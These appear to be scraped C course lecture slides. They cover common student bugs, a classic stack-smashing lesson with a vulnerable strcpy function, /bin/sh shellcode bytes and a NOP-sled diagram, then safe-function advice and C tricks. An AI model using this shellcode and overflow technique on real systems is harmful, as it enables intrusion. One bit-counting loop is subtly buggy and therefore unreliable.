120 likes | 200 Views
Week 7. (Relatively) Fun Day. common proj 1 problems. always put a “<br>†at the end of a printf must allocate strlen+1 for string sizeof vs strlen malloc/free problems always check return codes style: use tabs, not spaces global variables unbracketed control statements
E N D
Week 7 (Relatively) Fun Day
common proj 1 problems • always put a “\n” at the end of a printf • must allocate strlen+1 for string • sizeof vs strlen • malloc/free problems • always check return codes • style: • use tabs, not spaces • global variables • unbracketed control statements • multiple assignment statements
Buffer Overflows • “Smashing the Stack For Fun and Profit” - Aleph One, Phrack • Main idea: overwrite the return pointer of a function to point to arbitrary code (usually a shell) • If the program is running as root (most daemons), attacker now has a root-priveleged shell
Changing the Return Pointer Vulnerable function: void function(char *str) { char buffer[16]; strcpy(buffer,str); } Call with too large a string: void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) { large_string[i] = 'A'; } large_string[255] = 0; //null-terminate function(large_string); } What will happen?
Inserting Shellcode Simple program to spawn a shell: #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } use gdb disassembler to get assembly. simplified: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Now, we can put the shellcode in our large_string, then overwrite the return pointer to point back into that string, where a shell will be executed. How do we know where the return pointer is?
NOP (slip and) slide Rather than try to guess where our shellcode will end up on the stack, pad the large_string with NOP instructions, which will then slide into the shellcode: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack This increases the size of our target significantly, especially if the buffer is initially large (problems with small buffers).
Why we can't test this GCC, in the 3.x versions, made changes to how the stack is laid out that make traditional stack overflow code not work. Problem functions in C: strcpy (use strncpy) strcat (use strncat) sprintf (use snprintf) gets (use fgets on stdin) scanf with “%s” (use “%5s” where 5 is length) But also things like this: while(char != '\n') { mySmallArray[index++] = getc(stdin); }
Other C tricks - Swapping In low memory situations, using a temp variable to swap should be avoided: int a=5, b=7, tmp; tmp = a; a = b; b = tmp; printf("a = %d, b = %d\n", a, b); int a=5, b=7; a = a ^ b; b = a ^ b; a = a ^ b; printf("a = %d, b = %d\n", a, b); -> or a = a + b; b = a - b; a = a - b; printf("a = %d, b = %d\n", a, b); Only works for basic types (int, char, etc)
Other C tricks - Comments Since comments (/* */) cannot be nested, this code will not compile: /* int oldvar1, oldvar2; oldvar1=oldfunction1(); /* oldvar2 = olderfunction(); */ */ Instead: #if 0 int oldvar1, oldvar2; oldvar1=oldfunction1(); #if 0 oldvar2 = olderfunction(); #endif #endif This also makes it easier to add the code back in: just change #if 0 to #if 1
Other C tricks - Bitshifting Knapsack problem: Given a group of items, each with a given weight, and a sack that can only hold a certain amount of weight, what's the best way to check each possible combination of elements?
Other C tricks - Bitshifting Counting the number of set bits in a number where n bits are set and there are N bits total: //slower: O(N), but lets you know which bits are set for(a=0; a < sizeof(int)*8; a++) { testnum >>= 1; if( testnum & 1) { count++; printf("%d bit is set\n", a); } } //faster: O(n), but no idea which bits are set, just a count count=0; while (testnum != 0) { testnum = testnum & (testnum - 1); count++; }
Splint Use splint, it's your friend.